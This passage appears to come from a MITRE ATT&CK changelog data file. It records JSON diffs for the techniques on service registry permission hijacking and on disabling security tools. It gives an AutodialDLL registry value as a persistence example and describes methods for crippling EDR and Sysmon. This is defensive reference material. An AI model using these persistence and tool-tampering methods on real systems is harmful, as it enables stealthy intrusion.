service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n\\nFor example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n\\n\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n\\nThis ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n\\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n\\nAdversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n\\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n\\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,15 @@\\n-Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n+Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\\n \\n-If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n+If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\\n \\n Adversaries may also alter other Registry keys in the service\\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\\n \\n The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\\n \\n-Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\\u2019s file may be identified using HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\servicename\\\\Parameters\\\\ServiceDll.(Citation: malware_hides_service)\\n+Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.\\n+\\n+For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WinSock2\\\\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:\\n+\\n+\\\"AutodialDLL\\\"=\\\"c:\\\\temp\\\\foo.dll\\\"\\n+\\n+This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"gendigital\", \"old_value\": \"troj_zegost\", \"new_path\": \"root['external_references'][10]['source_name']\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.\", \"old_value\": \"Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.\", \"new_path\": \"root['external_references'][10]['description']\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies\", \"old_value\": \"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost\", \"new_path\": \"root['external_references'][10]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\\n\\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n-\\n-Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\\n-\\n-Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"hexacorn\", \"description\": \"hexacorn. (2015, January 13). Beyond good ol\\u2019 Run key, Part 24. Retrieved September 25, 2025.\", \"url\": \"https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/\"}, \"root['external_references'][7]\": {\"source_name\": \"MDSec\", \"description\": \"MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.\", \"url\": \"https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/\"}, \"root['x_mitre_contributors'][2]\": \"Joe Gumke, U.S. Bank\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may execute their own malicious payloads by hijat1Adversaries may execute their own malicious payloads by hija
>cking the Registry entries used by services. Adversaries may>cking the Registry entries used by services. Flaws in the pe
> use flaws in the permissions for Registry keys related to s>rmissions for Registry keys related to services can allow ad
>ervices to redirect from the originally specified executable>versaries to redirect the originally specified executable to
> to one that they control, in order to launch their own code> one they control, launching their own code when a service s
> when a service starts. Windows stores local service configu>tarts. Windows stores local service configuration informatio
>ration information in the Registry under <code>HKLM\\SYSTEM\\C>n in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\
>urrentControlSet\\Services</code>. The information stored und>Services</code>. The information stored under a service's Re
>er a service's Registry keys can be manipulated to modify a >gistry keys can be manipulated to modify a service's executi
>service's execution parameters through tools such as the ser>on parameters through tools such as the service controller, 
>vice controller, sc.exe,  [PowerShell](https://attack.mitre.>sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1
>org/techniques/T1059/001), or [Reg](https://attack.mitre.org>059/001), or [Reg](https://attack.mitre.org/software/S0075).
>/software/S0075). Access to Registry keys is controlled thro> Access to Registry keys is controlled through access contro
>ugh access control lists and user permissions. (Citation: Re>l lists and user permissions. (Citation: Registry Key Securi
>gistry Key Security)(Citation: malware_hides_service)  If th>ty)(Citation: malware_hides_service)  If the permissions for
>e permissions for users and groups are not properly set and > users and groups are not properly set and allow access to t
>allow access to the Registry keys for a service, adversaries>he Registry keys for a service, adversaries may change the s
> may change the service's binPath/ImagePath to point to a di>ervice's binPath/ImagePath to point to a different executabl
>fferent executable under their control. When the service sta>e under their control. When the service starts or is restart
>rts or is restarted, then the adversary-controlled program w>ed, the adversary-controlled program will execute, allowing 
>ill execute, allowing the adversary to establish persistence>the adversary to establish persistence and/or privilege esca
> and/or privilege escalation to the account context the serv>lation to the account context the service is set to execute 
>ice is set to execute under (local/domain account, SYSTEM, L>under (local/domain account, SYSTEM, LocalService, or Networ
>ocalService, or NetworkService).  Adversaries may also alter>kService).  Adversaries may also alter other Registry keys i
> other Registry keys in the service\u2019s Registry tree. For exa>n the service\u2019s Registry tree. For example, the <code>Failur
>mple, the <code>FailureCommand</code> key may be changed so >eCommand</code> key may be changed so that the service is ex
>that the service is executed in an elevated context anytime >ecuted in an elevated context anytime the service fails or i
>the service fails or is intentionally corrupted.(Citation: K>s intentionally corrupted.(Citation: Kansa Service related c
>ansa Service related collectors)(Citation: Tweet Registry Pe>ollectors)(Citation: Tweet Registry Perms Weakness)  The <co
>rms Weakness)  The <code>Performance</code> key contains the>de>Performance</code> key contains the name of a driver serv
> name of a driver service's performance DLL and the names of>ice's performance DLL and the names of several exported func
> several exported functions in the DLL.(Citation: microsoft_>tions in the DLL.(Citation: microsoft_services_registry_tree
>services_registry_tree) If the <code>Performance</code> key >) If the <code>Performance</code> key is not already present
>is not already present and if an adversary-controlled user h> and if an adversary-controlled user has the <code>Create Su
>as the <code>Create Subkey</code> permission, adversaries ma>bkey</code> permission, adversaries may create the <code>Per
>y create the <code>Performance</code> key in the service\u2019s R>formance</code> key in the service\u2019s Registry tree to point 
>egistry tree to point to a malicious DLL.(Citation: insecure>to a malicious DLL.(Citation: insecure_reg_perms)  Adversari
>_reg_perms)  Adversaries may also add the <code>Parameters</>es may also add the <code>Parameters</code> key, which can r
>code> key, which stores driver-specific dataor other custo>eference malicious drivers file paths. This technique has be
>m subkeys for their malicious services to establish persiste>en identified to be a method of abuse by configuring DLL fil
>nce or enable other malicious activities.(Citation: microsof>e paths within the <code>Parameters</code> key of a given se
>t_services_registry_tree)(Citation: troj_zegost) Additionall>rvices registry configuration. By placing and configuring th
>y, If adversaries launch their malicious services using svch>e <code>Parameters</code> key to reference a malicious DLL
>ost.exe, the service\u2019s file may be identified using <code>HK>adversaries can ensure that their code is loaded persistentl
>EY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicena>y whenever the associated service or library is invoked.  Fo
>me\\Parameters\\ServiceDll</code>.(Citation: malware_hides_ser>r example, the registry path(Citation: MDSec) <code>HKEY_LOC
>vice)>AL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parame
 >ters</code>(Citation: hexacorn)(Citation: gendigital) contai
 >ns the <code>AutodiaDLL</code> value, which specifies the DL
 >L to be loaded for autodial funcitionality. An adversary cou
 >ld set the <code>AutodiaDLL</code> to point to a hijacked or
 > malicious DLL:  <code>\"AutodialDLL\"=\"c:\\temp\\foo.dll\"</code
 >>  This ensures persistence, as it causes the DLL (in this c
 >ase, foo.dll) to be loaded each time the Winsock 2 library i
 >s invoked.
", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0427: Detection Strategy for Hijack Execution Flow through Service Registry Premission Weakness." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 20:32:20.810000+00:00", + "modified": "2025-10-24 17:49:13.019000+00:00", + "name": "Disable or Modify Tools", + "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\n\nAdversaries may also focus on specific applications such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/001", + "external_id": "T1562.001" + }, + { + "source_name": "Analysis of FG-IR-22-369", + "description": " Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.", + "url": "https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis" + }, + { + "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation", + "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.", + "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem" + }, + { + "source_name": "BlackBerry WhisperGate 2022", + "description": "BlackBerry Research and Intelligence Team. (2022, February 3). Threat Spotlight: WhisperGate Wiper Wreaks Havoc in Ukraine. Retrieved March 18, 2025.", + "url": "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine" + }, + { + "source_name": "Cocomazzi FIN7 Reboot", + "description": "Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.", + "url": "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/" + }, + { + "source_name": "OutFlank System Calls", + "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", + "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/" + }, + { + "source_name": "disable_win_evt_logging", + "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", + "url": "https://ptylu.github.io/content/report/report.html?report=25" + }, + { + "source_name": "chasing_avaddon_ransomware", + "description": "Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.", + "url": "https://www.mandiant.com/resources/chasing-avaddon-ransomware" + }, + { + "source_name": "doppelpaymer_crowdstrike", + "description": "Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.", + "url": "https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/" + }, + { + "source_name": "avoslocker_ransomware", + "description": "Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.", + "url": "https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html" + }, + { + "source_name": "dharma_ransomware", + "description": "Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.", + "url": "https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/" + }, + { + "source_name": "MDSec System Calls", + "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", + "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/" + }, + { + "source_name": "SCADAfence_ransomware", + "description": "Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.", + "url": "https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf" + }, + { + "source_name": "demystifying_ryuk", + "description": "Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 2022.", + "url": "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947" + }, + { + "source_name": "Google Cloud Threat Intelligence FIN13 2021", + "description": "Van Ta, Jake Nicastro, Rufus Brown, and Nick Richard. (2021, December 7). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved March 18, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/fin13-cybercriminal-mexico/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Gordon Long, LegioX/Zoom, asaurusrex", + "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security", + "Nathaniel Quist, Palo Alto Networks", + "Gal Singer, @galsinger29, Team Nautilus Aqua Security", + "Daniel Feichter, @VirtualAllocEx, Infosec Tirol", + "Cian Heasley", + "Alex Soler, AttackIQ", + "Sarathkumar Rajendran, Microsoft Defender365", + "Lucas Heiligenstein", + "Menachem Goldstein", + "Nay Myo Hlaing (Ethan), DBS Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Process: Process Termination\", \"Process: Process Creation\", \"Service: Service Metadata\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Deletion\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.019000+00:00\", \"old_value\": \"2025-04-15 19:58:57.147000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n\\nAdversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)\\n\\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n\\nAdversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n\\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\\n\\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\\n\\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\\n\\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\", \"old_value\": \"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n\\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n\\nAdversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n\\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\\n\\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\\n\\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse 